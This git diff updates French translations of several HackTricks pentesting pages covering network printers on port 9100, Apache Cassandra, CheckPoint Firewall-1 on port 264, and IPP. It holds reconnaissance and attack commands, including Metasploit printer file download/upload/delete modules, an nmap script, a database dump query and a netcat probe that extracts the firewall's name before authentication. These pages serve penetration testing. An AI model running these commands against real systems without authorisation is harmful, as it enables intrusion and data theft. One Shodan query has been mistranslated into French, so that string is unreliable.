* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,24 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Informations de base
|
||||
|
||||
À partir de [ici](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing) : L'impression brute est ce que nous définissons comme le processus de connexion au port 9100/tcp d'une imprimante réseau. C'est la méthode par défaut utilisée par CUPS et l'architecture d'impression Windows pour communiquer avec les imprimantes réseau car elle est considérée comme "_le protocole réseau le plus simple, le plus rapide et généralement le plus fiable utilisé pour les imprimantes_". L'impression brute sur le port 9100, également appelée JetDirect, AppSocket ou flux de données PDL, **n'est en fait pas un protocole d'impression en soi**. Au lieu de cela, **toutes les données envoyées sont directement traitées par le périphérique d'impression**, tout comme une connexion parallèle sur TCP. Contrairement à LPD, IPP et SMB, cela peut envoyer des retours directs au client, y compris des messages d'état et d'erreur. Un tel **canal bidirectionnel** nous donne un **accès direct** aux **résultats** des commandes **PJL**, **PostScript** ou **PCL**. Par conséquent, l'impression brute sur le port 9100 - prise en charge par presque toutes les imprimantes réseau - est utilisée comme canal pour l'analyse de sécurité avec PRET et PFT.
|
||||
Depuis [ici](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing): L'impression brute est ce que nous définissons comme le processus de connexion au port 9100/tcp d'une imprimante réseau. C'est la méthode par défaut utilisée par CUPS et l'architecture d'impression Windows pour communiquer avec les imprimantes réseau, car elle est considérée comme ‘_le protocole réseau le plus simple, le plus rapide et généralement le plus fiable utilisé pour les imprimantes_’. L'impression brute sur le port 9100, également appelée JetDirect, AppSocket ou PDL-datastream, **n'est en réalité pas un protocole d'impression en soi**. Au lieu de cela, **toutes les données envoyées sont directement traitées par le dispositif d'impression**, tout comme une connexion parallèle sur TCP. Contrairement à LPD, IPP et SMB, cela peut envoyer un retour direct au client, y compris des messages d'état et d'erreur. Un **canal bidirectionnel** nous donne un **accès** direct aux **résultats** des commandes **PJL**, **PostScript** ou **PCL**. Par conséquent, l'impression brute sur le port 9100 – qui est supportée par presque toutes les imprimantes réseau – est utilisée comme canal pour l'analyse de sécurité avec PRET et PFT.
|
||||
|
||||
Si vous souhaitez en savoir plus sur [**le piratage des imprimantes, lisez cette page**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
Si vous souhaitez en savoir plus sur [**le hacking des imprimantes, lisez cette page**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
|
||||
**Port par défaut :** 9100
|
||||
```
|
||||
|
@ -57,9 +58,9 @@ msf> use auxiliary/scanner/printer/printer_download_file
|
|||
msf> use auxiliary/scanner/printer/printer_upload_file
|
||||
msf> use auxiliary/scanner/printer/printer_delete_file
|
||||
```
|
||||
## Outil de piratage d'imprimantes
|
||||
## Outil de hacking de printers
|
||||
|
||||
Voici l'outil que vous souhaitez utiliser pour abuser des imprimantes :
|
||||
C'est l'outil que vous voulez utiliser pour abuser des imprimantes :
|
||||
|
||||
{% embed url="https://github.com/RUB-NDS/PRET" %}
|
||||
|
||||
|
@ -68,16 +69,17 @@ Voici l'outil que vous souhaitez utiliser pour abuser des imprimantes :
|
|||
* `pjl port:9100`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# 9042/9160 - Pentesting Cassandra
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Informations de base
|
||||
## Basic Information
|
||||
|
||||
**Apache Cassandra** est une base de données distribuée **hautement évolutive** et **performante** conçue pour gérer de **grandes quantités de données** sur de nombreux **serveurs de commodité**, offrant une **disponibilité élevée** sans **point de défaillance unique**. Il s'agit d'un type de **base de données NoSQL**.
|
||||
**Apache Cassandra** est une base de données **distribuée**, **hautement évolutive** et **haute performance** conçue pour gérer **de grandes quantités de données** sur de nombreux **serveurs standard**, offrant une **haute disponibilité** sans **point de défaillance unique**. C'est un type de **base de données NoSQL**.
|
||||
|
||||
Dans plusieurs cas, vous pouvez constater que Cassandra accepte **n'importe quelles informations d'identification** (car aucune n'est configurée) et cela pourrait potentiellement permettre à un attaquant d'**énumérer** la base de données.
|
||||
Dans plusieurs cas, vous pouvez constater que Cassandra accepte **n'importe quelles informations d'identification** (car aucune n'est configurée) et cela pourrait potentiellement permettre à un attaquant de **énumérer** la base de données.
|
||||
|
||||
**Port par défaut :** 9042,9160
|
||||
```
|
||||
|
@ -45,7 +46,7 @@ SELECT * from configuration."config";
|
|||
```
|
||||
### Automatisé
|
||||
|
||||
Il n'y a pas beaucoup d'options ici et nmap n'obtient pas beaucoup d'informations
|
||||
Il n'y a pas beaucoup d'options ici et nmap n'obtient pas beaucoup d'infos.
|
||||
```bash
|
||||
nmap -sV --script cassandra-info -p <PORT> <IP>
|
||||
```
|
||||
|
@ -54,18 +55,19 @@ nmap -sV --script cassandra-info -p <PORT> <IP>
|
|||
### **Shodan**
|
||||
|
||||
`port:9160 Cluster`\
|
||||
`port:9042 "Invalid or unsupported protocol version"`
|
||||
`port:9042 "Version de protocole invalide ou non prise en charge"`
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Il est possible d'interagir avec les pare-feu **CheckPoint Firewall-1** pour découvrir des informations précieuses telles que le nom du pare-feu et le nom de la station de gestion. Cela peut être fait en envoyant une requête au port **264/TCP**.
|
||||
Il est possible d'interagir avec les pare-feu **CheckPoint** **Firewall-1** pour découvrir des informations précieuses telles que le nom du pare-feu et le nom de la station de gestion. Cela peut être fait en envoyant une requête au port **264/TCP**.
|
||||
|
||||
### Obtenir les noms du pare-feu et de la station de gestion
|
||||
### Obtention des noms de pare-feu et de station de gestion
|
||||
|
||||
En utilisant une requête pré-authentification, vous pouvez exécuter un module qui cible le **CheckPoint Firewall-1**. Les commandes nécessaires pour cette opération sont décrites ci-dessous:
|
||||
En utilisant une requête de pré-authentification, vous pouvez exécuter un module qui cible le **CheckPoint Firewall-1**. Les commandes nécessaires pour cette opération sont décrites ci-dessous :
|
||||
```bash
|
||||
use auxiliary/gather/checkpoint_hostname
|
||||
set RHOST 10.10.10.10
|
||||
```
|
||||
À l'exécution, le module tente de contacter le service de topologie SecuRemote du pare-feu. En cas de succès, il confirme la présence d'un pare-feu CheckPoint et récupère les noms du pare-feu et de l'hôte de gestion SmartCenter. Voici un exemple de ce à quoi pourrait ressembler la sortie :
|
||||
Lors de l'exécution, le module tente de contacter le service Topologie SecuRemote du pare-feu. Si cela réussit, il confirme la présence d'un pare-feu CheckPoint et récupère les noms du pare-feu et de l'hôte de gestion SmartCenter. Voici un exemple de ce à quoi la sortie pourrait ressembler :
|
||||
```text
|
||||
[*] Attempting to contact Checkpoint FW1 SecuRemote Topology service...
|
||||
[+] Appears to be a CheckPoint Firewall...
|
||||
|
@ -32,31 +33,32 @@ set RHOST 10.10.10.10
|
|||
```
|
||||
### Méthode alternative pour la découverte du nom d'hôte et du nom ICA
|
||||
|
||||
Une autre technique implique une commande directe qui envoie une requête spécifique au pare-feu et analyse la réponse pour extraire le nom d'hôte et le nom ICA du pare-feu. La commande et sa structure sont les suivantes :
|
||||
Une autre technique implique une commande directe qui envoie une requête spécifique au pare-feu et analyse la réponse pour extraire le nom d'hôte du pare-feu et le nom ICA. La commande et sa structure sont les suivantes :
|
||||
```bash
|
||||
printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q 1 10.10.10.10 264 | grep -a CN | cut -c 2-
|
||||
```
|
||||
La sortie de cette commande fournit des informations détaillées concernant le nom du certificat (CN) et l'organisation (O) du pare-feu, comme illustré ci-dessous:
|
||||
La sortie de cette commande fournit des informations détaillées concernant le nom du certificat du pare-feu (CN) et l'organisation (O), comme démontré ci-dessous :
|
||||
```text
|
||||
CN=Panama,O=MGMTT.srv.rxfrmi
|
||||
```
|
||||
## Références
|
||||
|
||||
* [https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360](https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360)
|
||||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html#check-point-firewall-1-topology-port-264](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html#check-point-firewall-1-topology-port-264)
|
||||
* [https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit\_doGoviewsolutiondetails=&solutionid=sk69360](https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360)
|
||||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html\#check-point-firewall-1-topology-port-264](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html#check-point-firewall-1-topology-port-264)
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,26 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Protocole d'impression sur Internet \(IPP\)
|
||||
# Internet Printing Protocol \(IPP\)
|
||||
|
||||
Le **protocole d'impression sur Internet (IPP)**, tel que spécifié dans **RFC2910** et **RFC2911**, sert de base pour l'impression sur Internet. Sa capacité à être étendu est illustrée par des développements tels que **IPP Everywhere**, qui vise à standardiser l'impression mobile et en nuage, et l'introduction d'extensions pour l'impression **3D**.
|
||||
Le **Internet Printing Protocol (IPP)**, tel que spécifié dans **RFC2910** et **RFC2911**, sert de base pour l'impression sur Internet. Sa capacité à être étendu est mise en avant par des développements comme **IPP Everywhere**, qui vise à standardiser l'impression mobile et cloud, et l'introduction d'extensions pour l'**impression 3D**.
|
||||
|
||||
En exploitant le protocole **HTTP**, IPP bénéficie de pratiques de sécurité établies telles que l'**authentification de base/digest** et le **chiffrement SSL/TLS**. Des actions telles que soumettre un travail d'impression ou interroger l'état de l'imprimante sont effectuées via des **requêtes POST HTTP** dirigées vers le serveur IPP, qui fonctionne sur le **port 631/tcp**.
|
||||
En s'appuyant sur le protocole **HTTP**, IPP bénéficie de pratiques de sécurité établies, y compris **l'authentification de base/digest** et **le chiffrement SSL/TLS**. Des actions comme la soumission d'un travail d'impression ou la consultation de l'état de l'imprimante sont effectuées via des **requêtes HTTP POST** dirigées vers le serveur IPP, qui fonctionne sur le **port 631/tcp**.
|
||||
|
||||
Une implémentation bien connue d'IPP est **CUPS**, un système d'impression open source répandu sur diverses distributions Linux et OS X. Malgré son utilité, IPP, similaire à LPD, peut être exploité pour transmettre du contenu malveillant via des fichiers **PostScript** ou **PJL**, mettant en évidence un risque potentiel pour la sécurité.
|
||||
Une implémentation bien connue de l'IPP est **CUPS**, un système d'impression open-source répandu dans diverses distributions Linux et OS X. Malgré son utilité, l'IPP, à l'instar de LPD, peut être exploité pour transmettre du contenu malveillant via des **fichiers PostScript** ou **PJL**, soulignant un risque potentiel pour la sécurité.
|
||||
```python
|
||||
# Example of sending an IPP request using Python
|
||||
import requests
|
||||
|
@ -31,20 +32,19 @@ data = b"..." # IPP request data goes here
|
|||
response = requests.post(url, headers=headers, data=data, verify=True)
|
||||
print(response.status_code)
|
||||
```
|
||||
Si vous voulez en savoir plus sur [**le piratage des imprimantes, lisez cette page**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
|
||||
Si vous voulez en savoir plus sur [**le hacking des imprimantes, lisez cette page**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
